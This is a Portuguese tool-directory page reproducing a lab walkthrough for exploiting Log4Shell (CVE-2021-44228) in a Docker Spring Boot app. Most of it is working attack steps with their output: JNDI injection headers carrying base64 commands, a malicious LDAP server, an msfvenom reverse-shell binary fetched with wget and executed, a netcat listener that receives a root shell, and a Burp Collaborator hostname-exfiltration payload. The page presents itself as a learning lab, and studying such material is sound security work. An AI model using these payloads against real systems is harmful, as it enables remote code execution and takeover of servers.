Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
spring-boot-log4j-cve-2021-44228-docker-lab — Laboratório Docker Spring Boot Log4j - CVE-2021-44228 | Kitploit
Ferramentas/GitHubGitHub/twseptian/spring-boot-log4j-cve-2021-44228-docker-lab
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoLabs e Prática
GitHubtwseptian/spring-boot-log4j-cve-2021-44228-docker-lab

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

spring-boot-log4j-cve-2021-44228-docker-lab

Laboratório Docker Spring Boot Log4j - CVE-2021-44228

Ver Repositório
2720há 4 anosRevisado pelo Kitploit

Spring Boot Log4j - CVE-2021-44228

A vulnerabilidade Log4Shell (CVE-2021-44228) é, em última análise, uma falha de injeção JNDI bastante simples, mas em um lugar muito, muito ruim. O Log4J executará um JNDI lookup() ao expandir espaços reservados em mensagens de log (ou indiretamente como parâmetros para mensagens formatadas) ...leia mais PSA: Log4Shell e o estado atual da injeção JNDI.

Configuração do Laboratório Docker

Nota: Este dockerfile é originalmente de Aplicação vulnerável de exemplo do Log4Shell (CVE-2021-44228). Ele usa o Log4j 2.14.1 (por meio do spring-boot-starter-log4j2 2.6.1) e o JDK 1.8.0_181.

Laboratório em contêiner para brincar/aprender com o CVE-2021-44228. Vamos clonar nosso repositório.

root@kitploit:~
$ git clone https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.git
$ cd Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab/
$ docker build spring-boot-log4j -t spring-boot-log4j-vulnerable
$ docker run -p 8080:8080 --name spring-boot-log4j-vulnerable spring-boot-log4j-vulnerable

spring-boot-v2.6.1

Usando o JNDI-Injection-Exploit para explorar.

Alvo: 172.17.0.2
Atacante: 172.17.0.1

  • baixe o JNDIExploit de https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 Atualização (13 de dezembro): O repositório JNDIExploit foi removido do GitHub
root@kitploit:~
$ cd tools/
$ unzip JNDIExploit.v1.2.zip
$ cd JNDIExploit.v1.2/
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help
  • codifique nossa linha de comando usando base64. Nesse caso, a máquina alvo enviará comandos ping para a máquina do atacante
root@kitploit:~
$ echo 'ping -c 5 172.17.0.1' | base64 -w 0
cGluZyAtYyA1IDE3Mi4xNy4wLjEK
  • use o JNDIExploit para iniciar um servidor LDAP malicioso
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
  • em seguida, execute o comando abaixo para acionar nosso comando ping a partir da máquina alvo
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK}'
  • vamos ver a saída do JNDIExploit
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK
[+] Paylaod: command
[+] Command: ping -c 5 172.17.0.1

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/cGluZyAtYyA1IDE3Mi4xNy4wLjEK redirecting to http://172.17.0.1:8888/ExploitX07BVXemV5.class
[+] New HTTP Request From /172.17.0.2:58630  /ExploitX07BVXemV5.class
[+] Receive ClassRequest: ExploitX07BVXemV5.class
[+] Response Code: 200
  • agora, podemos capturar com o tcpdump os comandos ping da máquina alvo
root@kitploit:~
$ sudo tcpdump -i docker0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
22:32:07.210584 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 0, length 64
22:32:07.210594 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 0, length 64
22:32:08.210938 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 1, length 64
22:32:08.210965 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 1, length 64
22:32:09.211367 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 2, length 64
22:32:09.211391 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 2, length 64
22:32:10.211569 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 3, length 64
22:32:10.211592 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 3, length 64
22:32:11.211814 IP 172.17.0.2 > kali: ICMP echo request, id 33792, seq 4, length 64
22:32:11.211848 IP kali > 172.17.0.2: ICMP echo reply, id 33792, seq 4, length 64

Execução Remota de Código - Estilo CTF "Como obter um reverse shell"

  • crie um arquivo de reverse shell usando o msfvenom
root@kitploit:~
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f elf -o /tmp/rev.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: /tmp/rev.elf
  • prepare um servidor local usando Python em nossa máquina atacante
root@kitploit:~
$ sudo python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
  • codifique a linha de comando abaixo usando base64
root@kitploit:~
wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf
  • copie a saída do base64
root@kitploit:~
$ echo 'wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
  • use o JNDIExploit para iniciar um servidor LDAP malicioso
root@kitploit:~
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
...
  • em seguida, execute o comando abaixo para acionar nosso comando
root@kitploit:~
$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK}'
Hello, world!
  • inicie um reverse shell com netcat na máquina do atacante nc -lvnp 4444, então o netcat irá disparar um reverse shell
root@kitploit:~
$ nc -lvnp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:42176.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
whoami
root
  • a saída do JNDIExploit
root@kitploit:~
...
[+] Received LDAP Query: Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK
[+] Paylaod: command
[+] Command: wget http://172.17.0.1:8081/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/d2dldCBodHRwOi8vMTcyLjE3LjAuMTo4MDgxL3Jldi5lbGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi5lbGYK redirecting to http://172.17.0.1:8888/ExploitgV2vh72T6X.class
[+] New HTTP Request From /172.17.0.2:58650  /ExploitgV2vh72T6X.class
[+] Receive ClassRequest: ExploitgV2vh72T6X.class
[+] Response Code: 200

obter o hostname usando o Burp Suite Collaborator

  • payload
root@kitploit:~
${jndi:ldap://${hostName}.our-link.burpcollaborator.net/}

dns-query.png

Referências:

  • Log4Shell: exploit RCE de dia zero encontrado no log4j 2, um pacote popular de registro em Java
  • PSA: Log4Shell e o estado atual da injeção JNDI
  • Aplicação vulnerável de exemplo do Log4Shell (CVE-2021-44228)
  • JNDIExploit Atualização (13 de dezembro): O repositório JNDIExploit foi removido do GitHub
Baixar ferramenta